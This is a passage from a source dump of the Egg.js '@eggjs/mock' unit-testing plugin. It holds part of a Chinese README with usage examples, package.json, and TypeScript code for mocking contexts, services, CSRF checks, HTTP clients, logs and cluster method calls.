app.httpRequest()\n\n请求当前应用 http 服务的辅助工具。\n\n```js\nit('should work', () => {\n  return app.httpRequest().get('/').expect('hello world').expect(200);\n});\n```\n\n更多信息请查看 [supertest](https://github.com/visionmedia/supertest) 的 API 说明。\n\n#### .unexpectHeader(name)\n\n断言当前请求响应不包含指定 header\n\n```js\nit('should work', () => {\n  return app.httpRequest().get('/').unexpectHeader('set-cookie').expect(200);\n});\n```\n\n#### .expectHeader(name)\n\n断言当前请求响应包含指定 header\n\n```js\nit('should work', () => {\n  return app.httpRequest().get('/').expectHeader('set-cookie').expect(200);\n});\n```\n\n### app.mockContext(options)\n\n模拟上下文数据\n\n```js\nconst ctx = app.mockContext({\n  user: {\n    name: 'Jason',\n  },\n});\nconsole.log(ctx.user.name); // Jason\n```\n\n### app.mockContextScope(fn, options)\n\n安全的模拟上下文数据，同一用例用多次调用 mockContext 可能会造成 AsyncLocalStorage 污染\n\n```js\nawait app.mockContextScope(\n  async ctx => {\n    console.log(ctx.user.name); // Jason\n  },\n  {\n    user: {\n      name: 'Jason',\n    },\n  }\n);\n```\n\n### app.mockCookies(data)\n\n```js\napp.mockCookies({\n  foo: 'bar',\n});\nconst ctx = app.mockContext();\nconsole.log(ctx.getCookie('foo'));\n```\n\n### app.mockHeaders(data)\n\n模拟请求头\n\n### app.mockSession(data)\n\n```js\napp.mockSession({\n  foo: 'bar',\n});\nconst ctx = app.mockContext();\nconsole.log(ctx.session.foo);\n```\n\n### app.mockService(service, methodName, fn)\n\n```js\nit('should mock user name', async function () {\n  app.mockService('user', 'getName', async function (ctx, methodName, args) {\n    return 'popomore';\n  });\n  const ctx = app.mockContext();\n  await ctx.service.user.getName();\n});\n```\n\n### app.mockServiceError(service, methodName, error)\n\n可以模拟一个错误\n\n```js\napp.mockServiceError('user', 'home', new Error('mock error'));\n```\n\n### app.mockCsrf()\n\n模拟 csrf，不用传递 token\n\n```js\napp.mockCsrf();\n\nreturn app.httpRequest().post('/login').expect(302);\n```\n\n### app.mockHttpclient(url, method, data)\n\n模拟 httpclient 的请求，例如 `ctx.curl`\n\n```js\napp.get('/', async ctx => {\n  const ret = await ctx.curl('https://eggjs.org');\n  this.body = ret.data.toString();\n});\n\napp.mockHttpclient('https://eggjs.org', {\n  // 模拟的参数，可以是 buffer / string / json / function\n  // 都会转换成 buffer\n  // 按照请求时的 options.dataType \b来做对应的转换\n  data: 'mock egg',\n});\n\nreturn app.httpRequest().post('/').expect('mock egg');\n```\n\n## Bootstrap\n\n我们提供了一个 bootstrap 来减少单测中的重复代码:\n\n```js\nconst { app, mock, assert } = require('@eggjs/mock/bootstrap');\n\ndescribe('test app', () => {\n  it('should request success', () => {\n    // mock data will be restored each case\n    mock.data(app, 'method', { foo: 'bar' });\n    return app\n      .httpRequest()\n      .get('/foo')\n      .expect(res => {\n        assert(!res.headers.foo);\n      })\n      .expect(/bar/);\n  });\n});\n\ndescribe('test ctx', () => {\n  it('can use ctx', async function () {\n    const res = await this.ctx.service.foo();\n    assert(res === 'foo');\n  });\n});\n```\n\n我们将会在每个 case 中自定注入 ctx, 可以通过 `app.currentContext` 来获取当前的 ctx。\n并且第一次使用 `app.mockContext` 会自动复用当前 case 的上下文。\n\n```js\nconst { app, mock, assert } = require('@eggjs/mock/bootstrap');\n\ndescribe('test ctx', () => {\n  it('should can use ctx', () => {\n    const ctx = app.currentContext;\n    assert(ctx);\n  });\n\n  it('should reuse ctx', () => {\n    const ctx = app.currentContext;\n    // 第一次调用会复用上下文\n    const mockCtx = app.mockContext();\n    assert(ctx === mockCtx);\n    // 后续调用会新建上下文\n    // 极不建议多次调用 app.mockContext\n    // 这会导致上下文污染\n    // 建议使用 app.mockContextScope\n    const mockCtx2 = app.mockContext();\n    assert(ctx !== mockCtx);\n  });\n});\n```\n\n### env for custom bootstrap\n\nEGG_BASE_DIR: the base dir of egg app\nEGG_FRAMEWORK: the framework of egg app\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/mock/package.json",
    "content": "{\n  \"name\": \"@eggjs/mock\",\n  \"version\": \"7.0.2-beta.5\",\n  \"description\": \"mock server plugin for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"mock\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/mock\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"popomore <sakura9515@gmail.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/mock\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/agent\": \"./src/app/extend/agent.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./app/middleware/cluster_app_mock\": \"./src/app/middleware/cluster_app_mock.ts\",\n    \"./bootstrap\": \"./src/bootstrap.ts\",\n    \"./inject_mocha\": \"./src/inject_mocha.ts\",\n    \"./lib/agent_handler\": \"./src/lib/agent_handler.ts\",\n    \"./lib/app\": \"./src/lib/app.ts\",\n    \"./lib/app_handler\": \"./src/lib/app_handler.ts\",\n    \"./lib/cluster\": \"./src/lib/cluster.ts\",\n    \"./lib/context\": \"./src/lib/context.ts\",\n    \"./lib/format_options\": \"./src/lib/format_options.ts\",\n    \"./lib/inject_context\": \"./src/lib/inject_context.ts\",\n    \"./lib/mock_agent\": \"./src/lib/mock_agent.ts\",\n    \"./lib/mock_custom_loader\": \"./src/lib/mock_custom_loader.ts\",\n    \"./lib/mock_http_server\": \"./src/lib/mock_http_server.ts\",\n    \"./lib/mock_httpclient\": \"./src/lib/mock_httpclient.ts\",\n    \"./lib/parallel/agent\": \"./src/lib/parallel/agent.ts\",\n    \"./lib/parallel/app\": \"./src/lib/parallel/app.ts\",\n    \"./lib/parallel/util\": \"./src/lib/parallel/util.ts\",\n    \"./lib/prerequire\": \"./src/lib/prerequire.ts\",\n    \"./lib/request_call_function\": \"./src/lib/request_call_function.ts\",\n    \"./lib/restore\": \"./src/lib/restore.ts\",\n    \"./lib/start-cluster\": \"./src/lib/start-cluster.ts\",\n    \"./lib/supertest\": \"./src/lib/supertest.ts\",\n    \"./lib/tmp/empty\": \"./src/lib/tmp/empty.ts\",\n    \"./lib/types\": \"./src/lib/types.ts\",\n    \"./lib/utils\": \"./src/lib/utils.ts\",\n    \"./register\": \"./src/register.ts\",\n    \"./setup_vitest\": \"./src/setup_vitest.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/agent\": \"./dist/app/extend/agent.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./app/middleware/cluster_app_mock\": \"./dist/app/middleware/cluster_app_mock.js\",\n      \"./bootstrap\": \"./dist/bootstrap.js\",\n      \"./inject_mocha\": \"./dist/inject_mocha.js\",\n      \"./lib/agent_handler\": \"./dist/lib/agent_handler.js\",\n      \"./lib/app\": \"./dist/lib/app.js\",\n      \"./lib/app_handler\": \"./dist/lib/app_handler.js\",\n      \"./lib/cluster\": \"./dist/lib/cluster.js\",\n      \"./lib/context\": \"./dist/lib/context.js\",\n      \"./lib/format_options\": \"./dist/lib/format_options.js\",\n      \"./lib/inject_context\": \"./dist/lib/inject_context.js\",\n      \"./lib/mock_agent\": \"./dist/lib/mock_agent.js\",\n      \"./lib/mock_custom_loader\": \"./dist/lib/mock_custom_loader.js\",\n      \"./lib/mock_http_server\": \"./dist/lib/mock_http_server.js\",\n      \"./lib/mock_httpclient\": \"./dist/lib/mock_httpclient.js\",\n      \"./lib/parallel/agent\": \"./dist/lib/parallel/agent.js\",\n      \"./lib/parallel/app\": \"./dist/lib/parallel/app.js\",\n      \"./lib/parallel/util\": \"./dist/lib/parallel/util.js\",\n      \"./lib/prerequire\": \"./dist/lib/prerequire.js\",\n      \"./lib/request_call_function\": \"./dist/lib/request_call_function.js\",\n      \"./lib/restore\": \"./dist/lib/restore.js\",\n      \"./lib/start-cluster\": \"./dist/lib/start-cluster.js\",\n      \"./lib/supertest\": \"./dist/lib/supertest.js\",\n      \"./lib/tmp/empty\": \"./dist/lib/tmp/empty.js\",\n      \"./lib/types\": \"./dist/lib/types.js\",\n      \"./lib/utils\": \"./dist/lib/utils.js\",\n      \"./register\": \"./dist/register.js\",\n      \"./setup_vitest\": \"./dist/setup_vitest.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/extend2\": \"workspace:*\",\n    \"@eggjs/supertest\": \"workspace:*\",\n    \"@eggjs/utils\": \"workspace:*\",\n    \"coffee\": \"catalog:\",\n    \"detect-port\": \"catalog:\",\n    \"egg-logger\": \"catalog:\",\n    \"get-ready\": \"catalog:\",\n    \"is-type-of\": \"catalog:\",\n    \"merge-descriptors\": \"catalog:\",\n    \"mm\": \"catalog:\",\n    \"sdk-base\": \"catalog:\",\n    \"urllib\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/errors\": \"workspace:*\",\n    \"@eggjs/tracer\": \"workspace:*\",\n    \"@types/methods\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"egg\": \"workspace:*\",\n    \"vitest\": \"catalog:\"\n  },\n  \"peerDependenciesMeta\": {\n    \"vitest\": {\n      \"optional\": true\n    }\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggPlugin\": {\n    \"name\": \"egg-mock\"\n  }\n}\n"
  },
  {
    "path": "plugins/mock/src/app/extend/agent.ts",
    "content": "import { Agent } from 'egg';\nimport { mock, restore } from 'mm';\nimport type { MockAgent } from 'urllib';\n\nimport { getMockAgent, restoreMockAgent } from '../../lib/mock_agent.ts';\nimport {\n  createMockHttpClient,\n  type MockResultFunction,\n  type MockResultOptions,\n  type MockHttpClientMethod,\n} from '../../lib/mock_httpclient.ts';\n\nexport default abstract class AgentUnittest extends Agent {\n  [key: string]: any;\n  _mockHttpClient: MockHttpClientMethod;\n\n  /**\n   * mock httpclient\n   * @alias mockHttpClient\n   * @function App#mockHttpclient\n   */\n  mockHttpclient(\n    mockUrl: string | RegExp,\n    mockMethod: string | string[] | MockResultOptions | MockResultFunction,\n    mockResult?: MockResultOptions | MockResultFunction | string,\n  ): this {\n    return this.mockHttpClient(mockUrl, mockMethod, mockResult);\n  }\n\n  /**\n   * mock httpclient\n   * @function App#mockHttpClient\n   */\n  mockHttpClient(\n    mockUrl: string | RegExp,\n    mockMethod: string | string[] | MockResultOptions | MockResultFunction,\n    mockResult?: MockResultOptions | MockResultFunction | string,\n  ): this {\n    if (!this._mockHttpClient) {\n      this._mockHttpClient = createMockHttpClient(this);\n    }\n    this._mockHttpClient(mockUrl, mockMethod, mockResult);\n    return this;\n  }\n\n  /**\n   * get mock httpclient agent\n   * @function Agent#mockHttpclientAgent\n   */\n  mockAgent(): MockAgent {\n    return getMockAgent(this as any);\n  }\n\n  async mockAgentRestore(): Promise<void> {\n    await restoreMockAgent();\n  }\n\n  /**\n   * @see mm#restore\n   * @function Agent#mockRestore\n   */\n  mockRestore: typeof restore = restore;\n\n  /**\n   * @see mm\n   * @function Agent#mm\n   */\n  mm: typeof mock = mock;\n}\n"
  },
  {
    "path": "plugins/mock/src/app/extend/application.ts",
    "content": "import assert from 'node:assert';\nimport fs from 'node:fs';\nimport http, { IncomingMessage } from 'node:http';\nimport { debuglog } from 'node:util';\n\nimport { type Context, Application } from 'egg';\nimport { Transport, Logger, type LoggerLevel, type LoggerMeta } from 'egg-logger';\nimport { isAsyncFunction, isObject } from 'is-type-of';\nimport mergeDescriptors from 'merge-descriptors';\nimport { mock, restore } from 'mm';\nimport type { MockAgent } from 'urllib';\n\nimport { getMockAgent, restoreMockAgent } from '../../lib/mock_agent.ts';\nimport {\n  createMockHttpClient,\n  type MockResultFunction,\n  type MockResultOptions,\n  type MockHttpClientMethod,\n} from '../../lib/mock_httpclient.ts';\nimport { request as supertestRequest, EggTestRequest } from '../../lib/supertest.ts';\nimport { type MockOptions } from '../../lib/types.ts';\n\nconst debug = debuglog('egg/mock/app/extend/application');\n\nconst ORIGIN_TYPES = Symbol('@eggjs/mock originTypes');\nconst BACKGROUND_TASKS = Symbol('Application#backgroundTasks');\nconst REUSED_CTX = Symbol('Context#reusedInSuite');\n\nexport interface MockContextOptions {\n  /**\n   * mock ctxStorage or not, default is `true`\n   */\n  mockCtxStorage?: boolean;\n  /**\n   * reuse ctxStorage or not, default is `true`\n   */\n  reuseCtxStorage?: boolean;\n}\n\nexport interface MockContextData {\n  headers?: Record<string, string | string[]>;\n  [key: string]: any;\n}\n\nexport interface MockContext extends Context {\n  service: any;\n}\n\nexport default abstract class ApplicationUnittest extends Application {\n  [key: string]: any;\n  declare options: MockOptions & Application['options'];\n  _mockHttpClient?: MockHttpClientMethod;\n\n  // agent will always be defined\n  declare agent: NonNullable<Application['agent']>;\n\n  /**\n   * mock Context\n   * @function App#mockContext\n   * @param {Object} data - ctx data\n   * @param {Object} [options] - mock ctx options\n   * @example\n   * ```js\n   * const ctx = app.mockContext({\n   *   user: {\n   *     name: 'Jason'\n   *   }\n   * });\n   * console.log(ctx.user.name); // Jason\n   *\n   * // controller\n   * module.exports = function*() {\n   *   this.body = this.user.name;\n   * };\n   * ```\n   */\n  mockContext(data?: MockContextData, options?: MockContextOptions): MockContext {\n    data = data ?? {};\n    function mockRequest(req: IncomingMessage) {\n      for (const key in data?.headers) {\n        mock(req.headers, key, data.headers[key]);\n        mock(req.headers, key.toLowerCase(), data.headers[key]);\n      }\n    }\n\n    // try to use app.options.mockCtxStorage first\n    const mockCtxStorage = this.options.mockCtxStorage ?? true;\n    options = Object.assign({ mockCtxStorage }, options);\n\n    if ('_customMockContext' in this && typeof this._customMockContext === 'function') {\n      this._customMockContext(data);\n    }\n\n    // 使用者自定义mock，可以覆盖上面的 mock\n    for (const key in data) {\n      mock(this.context, key, data[key]);\n    }\n\n    const req = this.mockRequest(data);\n    const res = new http.ServerResponse(req);\n\n    if (options.reuseCtxStorage !== false) {\n      if (this.currentContext && !this.currentContext[REUSED_CTX]) {\n        mockRequest(this.currentContext.request.req);\n        this.currentContext[REUSED_CTX] = true;\n        return this.currentContext as MockContext;\n      }\n    }\n    const ctx = this.createContext(req, res);\n    if (options.mockCtxStorage) {\n      mock(this.ctxStorage, 'getStore', () => ctx);\n    }\n    return ctx as MockContext;\n  }\n\n  async mockContextScope(fn: (ctx?: MockContext) => Promise<any>, data?: MockContextData): Promise<any> {\n    const ctx = this.mockContext(data, {\n      mockCtxStorage: false,\n      reuseCtxStorage: false,\n    });\n    return await this.ctxStorage.run(ctx as any, async () => {\n      return await fn(ctx);\n    });\n  }\n\n  /**\n   * mock cookie session\n   * @function App#mockSession\n   * @param {Object} data - session object\n   */\n  mockSession(data: any): this {\n    if (!data) {\n      return this;\n    }\n\n    if (isObject(data) && !('save' in data)) {\n      // keep session.save() work\n      Object.defineProperty(data, 'save', {\n        value: () => {},\n        enumerable: false,\n      });\n    }\n    mock(this.context, 'session', data);\n    return this;\n  }\n\n  /**\n   * Mock service\n   * @function App#mockService\n   * @param {String} service - name\n   * @param {String} methodName - method\n   * @param {Object|Function|Error} fn - mock you data\n   */\n  mockService(service: string | any, methodName: string, fn: any): this {\n    if (typeof service === 'string') {\n      const splits = service.split('.');\n      service = this.serviceClasses;\n      for (const key of splits) {\n        service = service[key];\n      }\n      service = service.prototype || service;\n    }\n    this._mockFn(service, methodName, fn);\n    return this;\n  }\n\n  /**\n   * mock service that return error\n   * @function App#mockServiceError\n   * @param {String} service - name\n   * @param {String} methodName - method\n   * @param {Error} [err] - error information\n   */\n  mockServiceError(service: string | any, methodName: string, err?: string | Error): this {\n    if (typeof err === 'string') {\n      err = new Error(err);\n    }\n    if (!err) {\n      // mockServiceError(service, methodName)\n      err = new Error(`mock ${methodName} error`);\n    }\n    this.mockService(service, methodName, err);\n    return this;\n  }\n\n  _mockFn(obj: any, name: string, data: any): void {\n    const origin = obj[name];\n    assert(typeof origin === 'function', `property ${name} in original object must be function`);\n\n    // keep origin properties' type to support mock multi times\n    if (!obj[ORIGIN_TYPES]) obj[ORIGIN_TYPES] = {};\n    let type = obj[ORIGIN_TYPES][name];\n    if (!type) {\n      type = obj[ORIGIN_TYPES][name] = isAsyncFunction(origin) ? 'async' : 'sync';\n    }\n\n    if (typeof data === 'function') {\n      const fn = data;\n      // if original is async function\n      // but the mock function is normal function, need to change it return a promise\n      if (type === 'async' && !isAsyncFunction(fn)) {\n        mock(obj, name, function (this: any, ...args: any[]) {\n          return new Promise((resolve) => {\n            resolve(fn.apply(this, args));\n          });\n        });\n        return;\n      }\n\n      mock(obj, name, fn);\n      return;\n    }\n\n    if (type === 'async') {\n      mock(obj, name, () => {\n        return new Promise((resolve, reject) => {\n          if (data instanceof Error) return reject(data);\n          resolve(data);\n        });\n      });\n      return;\n    }\n\n    mock(obj, name, () => {\n      if (data instanceof Error) {\n        throw data;\n      }\n      return data;\n    });\n  }\n\n  /**\n   * mock request\n   * @function App#mockRequest\n   * @param {Request} req - mock request\n   */\n  mockRequest(req: MockContextData): IncomingMessage {\n    req = { ...req };\n    const headers = req.headers ?? {};\n    for (const key in req.headers) {\n      headers[key.toLowerCase()] = req.headers[key];\n    }\n    if (!headers['x-forwarded-for']) {\n      headers['x-forwarded-for'] = '127.0.0.1';\n    }\n    headers['x-mock-request-from'] = '@eggjs/mock';\n    req.headers = headers;\n    mergeDescriptors(req, {\n      query: {},\n      querystring: '',\n      host: '127.0.0.1',\n      hostname: '127.0.0.1',\n      protocol: 'http',\n      secure: 'false',\n      method: 'GET',\n      url: '/',\n      path: '/',\n      socket: {\n        remoteAddress: '127.0.0.1',\n        remotePort: 7001,\n      },\n    });\n    return req as IncomingMessage;\n  }\n\n  /**\n   * mock cookies\n   * @function App#mockCookies\n   */\n  mockCookies(cookies: Record<string, string | string[]>): this {\n    if (!cookies) {\n      return this;\n    }\n    const createContext = this.createContext;\n    mock(this, 'createContext', function (this: any, req: any, res: any) {\n      const ctx = createContext.call(this, req, res);\n      const getCookie = ctx.cookies.get;\n      mock(ctx.cookies, 'get', function (this: any, key: string, opts: any) {\n        if (cookies[key]) {\n          return cookies[key];\n        }\n        return getCookie.call(this, key, opts);\n      });\n      return ctx;\n    });\n    return this;\n  }\n\n  /**\n   * mock header\n   * @function App#mockHeaders\n   */\n  mockHeaders(headers: Record<string, string | string[]>): this {\n    if (!headers) {\n      return this;\n    }\n    const getHeader = this.request.get;\n    mock(this.request, 'get', function (this: unknown, field: string) {\n      const value = findHeaders(headers, field);\n      if (value) return value;\n      return getHeader.call(this, field);\n    });\n    return this;\n  }\n\n  /**\n   * mock csrf\n   * @function App#mockCsrf\n   * @since 1.11\n   */\n  mockCsrf(): this {\n    mock(this.context, 'assertCSRF', () => {});\n    mock(this.context, 'assertCsrf', () => {});\n    return this;\n  }\n\n  /**\n   * mock httpclient\n   * @alias mockHttpClient\n   * @function App#mockHttpclient\n   */\n  mockHttpclient(\n    mockUrl: string | RegExp,\n    mockMethod: string | string[] | MockResultOptions | MockResultFunction,\n    mockResult?: MockResultOptions | MockResultFunction | string,\n  ): this {\n    return this.mockHttpClient(mockUrl, mockMethod, mockResult);\n  }\n\n  /**\n   * mock httpclient\n   * @function App#mockHttpClient\n   */\n  mockHttpClient(\n    mockUrl: string | RegExp,\n    mockMethod: string | string[] | MockResultOptions | MockResultFunction,\n    mockResult?: MockResultOptions | MockResultFunction | string,\n  ): this {\n    if (!this._mockHttpClient) {\n      this._mockHttpClient = createMockHttpClient(this);\n    }\n    this._mockHttpClient(mockUrl, mockMethod, mockResult);\n    return this;\n  }\n\n  /**\n   * @deprecated Please use app.mockHttpClient instead of app.mockUrllib\n   */\n  mockUrllib(\n    mockUrl: string | RegExp,\n    mockMethod: string | string[] | MockResultOptions | MockResultFunction,\n    mockResult?: MockResultOptions | MockResultFunction | string,\n  ): this {\n    this.deprecate('[@eggjs/mock] Please use app.mockHttpClient instead of app.mockUrllib');\n    return this.mockHttpClient(mockUrl, mockMethod, mockResult);\n  }\n\n  /**\n   * get mock httpclient agent\n   * @function App#mockHttpclientAgent\n   */\n  mockAgent(): MockAgent {\n    return getMockAgent(this);\n  }\n\n  async mockAgentRestore(): Promise<void> {\n    await restoreMockAgent();\n  }\n\n  /**\n   * @see mm#restore\n   * @function App#mockRestore\n   */\n  async mockRestore(): Promise<void> {\n    await this.mockAgentRestore();\n    restore();\n  }\n\n  /**\n   * @see mm\n   * @function App#mm\n   */\n  get mm(): typeof mock {\n    return mock;\n  }\n\n  /**\n   * override loadAgent\n   * @function App#loadAgent\n   */\n  loadAgent(): void {}\n\n  /**\n   * mock serverEnv\n   * @function App#mockEnv\n   * @param {String} env - serverEnv\n   */\n  mockEnv(env: string): this {\n    mock(this.config, 'env', env);\n    mock(this.config, 'serverEnv', env);\n    debug('mock env: %o', env);\n    return this;\n  }\n\n  /**\n   * http request helper\n   * @function App#httpRequest\n   * @return {SupertestRequest} req - supertest request\n   * @see https://github.com/visionmedia/supertest\n   */\n  httpRequest(): EggTestRequest {\n    return supertestRequest(this);\n  }\n\n  /**\n   * collection logger message, then can be use on `expectLog()`\n   * @param {String|Logger} [logger] - logger instance, default is `app.logger`\n   * @function App#mockLog\n   */\n  mockLog(logger?: string | Logger): void {\n    logger = logger ?? this.logger;\n    if (typeof logger === 'string') {\n      logger = this.getLogger(logger);\n    }\n    // make sure mock once\n    if ('_mockLogs' in logger && logger._mockLogs) return;\n\n    const transport = new Transport(logger.options);\n    // https://github.com/eggjs/egg-logger/blob/master/lib/logger.js#L64\n    const log = logger.log;\n    const mockLogs: string[] = [];\n    mock(logger, '_mockLogs', mockLogs);\n    mock(logger, 'log', (level: LoggerLevel, args: any[], meta: LoggerMeta) => {\n      const message = transport.log(level, args, meta);\n      mockLogs.push(message);\n      log.apply(logger, [level, args, meta]);\n    });\n  }\n\n  __checkExpectLog(expectOrNot: boolean, str: string | RegExp, logger?: string | Logger): void {\n    logger = logger || this.logger;\n    if (typeof logger === 'string') {\n      logger = this.getLogger(logger);\n    }\n    const filepath = logger.options.file;\n    let content;\n    if ('_mockLogs' in logger && logger._mockLogs) {\n      content = (logger._mockLogs as string[]).join('\\n');\n    } else {\n      content = fs.readFileSync(filepath, 'utf8');\n    }\n    let match;\n    let type;\n    if (str instanceof RegExp) {\n      match = str.test(content);\n      type = 'RegExp';\n    } else {\n      match = content.includes(String(str));\n      type = 'String';\n    }\n    if (expectOrNot) {\n      assert(\n        match,\n        `Can't find ${type}:\"${str}\" in ${filepath}, log content: ...${content.substring(content.length - 500)}`,\n      );\n    } else {\n      assert(\n        !match,\n        `Find ${type}:\"${str}\" in ${filepath}, log content: ...${content.substring(content.length - 500)}`,\n      );\n    }\n  }\n\n  /**\n   * expect str/regexp in the logger, if your server disk is slow, please call `mockLog()` first.\n   * @param {String|RegExp} str - test str or regexp\n   * @param {String|Logger} [logger] - logger instance, default is `ctx.logger`\n   * @function App#expectLog\n   */\n  expectLog(str: string | RegExp, logger?: string | Logger): void {\n    this.__checkExpectLog(true, str, logger);\n  }\n\n  /**\n   * not expect str/regexp in the logger, if your server disk is slow, please call `mockLog()` first.\n   * @param {String|RegExp} str - test str or regexp\n   * @param {String|Logger} [logger] - logger instance, default is `ctx.logger`\n   * @function App#notExpectLog\n   */\n  notExpectLog(str: string | RegExp, logger?: string | Logger): void {\n    this.__checkExpectLog(false, str, logger);\n  }\n\n  async backgroundTasksFinished(): Promise<void> {\n    const tasks = this._backgroundTasks;\n    debug('waiting %d background tasks', tasks.length);\n    if (tasks.length === 0) return;\n\n    this._backgroundTasks = [];\n    await Promise.all(tasks);\n    debug('finished %d background tasks', tasks.length);\n    if (this._backgroundTasks.length) {\n      debug('new background tasks created: %s', this._backgroundTasks.length);\n      await this.backgroundTasksFinished();\n    }\n  }\n\n  get _backgroundTasks() {\n    if (!this[BACKGROUND_TASKS]) {\n      this[BACKGROUND_TASKS] = [];\n    }\n    return this[BACKGROUND_TASKS] as Promise<any>[];\n  }\n\n  set _backgroundTasks(tasks) {\n    this[BACKGROUND_TASKS] = tasks;\n  }\n}\n\nfunction findHeaders(headers: Record<string, any>, key: string) {\n  if (!headers || !key) {\n    return null;\n  }\n  key = key.toLowerCase();\n  for (const headerKey in headers) {\n    if (key === headerKey.toLowerCase()) {\n      return headers[headerKey];\n    }\n  }\n  return null;\n}\n"
  },
  {
    "path": "plugins/mock/src/app/middleware/cluster_app_mock.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport type { MiddlewareFunc } from 'egg';\n\nconst debug = debuglog('egg/mock/app/middleware/cluster_app_mock');\n\nexport default (): MiddlewareFunc => {\n  return async function clusterAppMock(ctx, next) {\n    // use originalUrl to make sure other middlewares can't change request url\n    if (ctx.originalUrl !== '/__egg_mock_call_function') {\n      return next();\n    }\n    const body = ctx.request.body;\n    debug('%s %s, body: %j', ctx.method, ctx.url, body);\n    const { method, property, args, needResult } = body;\n    if (!method) {\n      ctx.status = 422;\n      ctx.body = {\n        success: false,\n        error: 'Missing method',\n      };\n      return;\n    }\n    if (args && !Array.isArray(args)) {\n      ctx.status = 422;\n      ctx.body = {\n        success: false,\n        error: 'args should be an Array instance',\n      };\n      return;\n    }\n    if (property) {\n      // method: '__getter__' and property: 'config'\n      if (method === '__getter__') {\n        if (!ctx.app[property]) {\n          debug('property %s not exists on app', property);\n          ctx.status = 422;\n          ctx.body = {\n            success: false,\n            error: `property \"${property}\" not exists on app`,\n          };\n          return;\n        }\n        ctx.body = { success: true, result: ctx.app[property] };\n        return;\n      }\n\n      // @ts-expect-error dynamic property\n      if (!ctx.app[property] || typeof ctx.app[property][method] !== 'function') {\n        debug('property %s.%s not exists on app', property, method);\n        ctx.status = 422;\n        ctx.body = {\n          success: false,\n          error: `method \"${method}\" not exists on app.${property}`,\n        };\n        return;\n      }\n    } else {\n      if (typeof ctx.app[method] !== 'function') {\n        debug('method %s not exists on app', method);\n        ctx.status = 422;\n        ctx.body = {\n          success: false,\n          error: `method \"${method}\" not exists on app`,\n        };\n        return;\n      }\n    }\n\n    debug('call %s with %j', method, args);\n\n    for (let i = 0; i < args.length; i++) {\n      const arg = args[i];\n      if (arg && typeof arg === 'object') {\n        // convert __egg_mock_type back to function\n        if (arg.__egg_mock_type === 'function') {\n          // eslint-disable-next-line\n          args[i] = eval(`(function() { return ${arg.value} })()`);\n        } else if (arg.__egg_mock_type === 'error') {\n          const err: any = new Error(arg.message);\n          err.name = arg.name;\n          err.stack = arg.stack;\n          for (const key in arg) {\n            if (key !== 'name' && key !== 'message' && key !== 'stack' && key !== '__egg_mock_type') {\n              err[key] = arg[key];\n            }\n          }\n          args[i] = err;\n        }\n      }\n    }\n\n    const target = property ? ctx.app[property] : ctx.app;\n    // @ts-expect-error dynamic property\n    const fn = target[method];\n    try {\n      Promise.resolve(fn.call(target, ...args)).then((result) => {\n        ctx.body = needResult ? { success: true, result } : { success: true };\n      });\n    } catch (err: any) {\n      ctx.status = 500;\n      ctx.body = { success: false, error: err.message };\n    }\n  };\n};\n"
  },
  {
    "path": "plugins/mock/src/app.ts",
    "content": "import { type ILifecycleBoot, Application } from 'egg';\n\nexport default class Boot implements ILifecycleBoot {\n  #app: Application;\n  constructor(app: Application) {\n    this.#app = app;\n  }\n\n  configWillLoad(): void {\n    // make sure clusterAppMock position before securities\n    const index = this.#app.config.coreMiddleware.indexOf('securities');\n    if (index >= 0) {\n      this.#app.config.coreMiddleware.splice(index, 0, 'clusterAppMock');\n    } else {\n      this.#app.config.coreMiddleware.push('clusterAppMock');\n    }\n  }\n}\n"
  },
  {
    "path": "plugins/mock/src/bootstrap.ts",
    "content": "import { strict as assert } from 'node:assert';\nimport path from 'node:path';\n\nimport { readJSONSync } from 'utility';\n\nimport mm, { mock, type MockApplication } from './index.ts';\nimport { getBootstrapApp, setupApp } from './lib/app_handler.ts';\nimport { getEggOptions } from './lib/utils.ts';\n\nconst options = getEggOptions();\n\n// throw error when an egg plugin test is using bootstrap\nconst pkgInfo = readJSONSync(path.join(options.baseDir || process.cwd(), 'package.json'));\nif (pkgInfo.eggPlugin) {\n  throw new Error('DO NOT USE bootstrap to test plugin');\n}\n\nconst app: MockApplication = setupApp();\n\nexport { assert, getBootstrapApp, app, mm, mock, type MockApplication };\n"
  },
  {
    "path": "plugins/mock/src/index.ts",
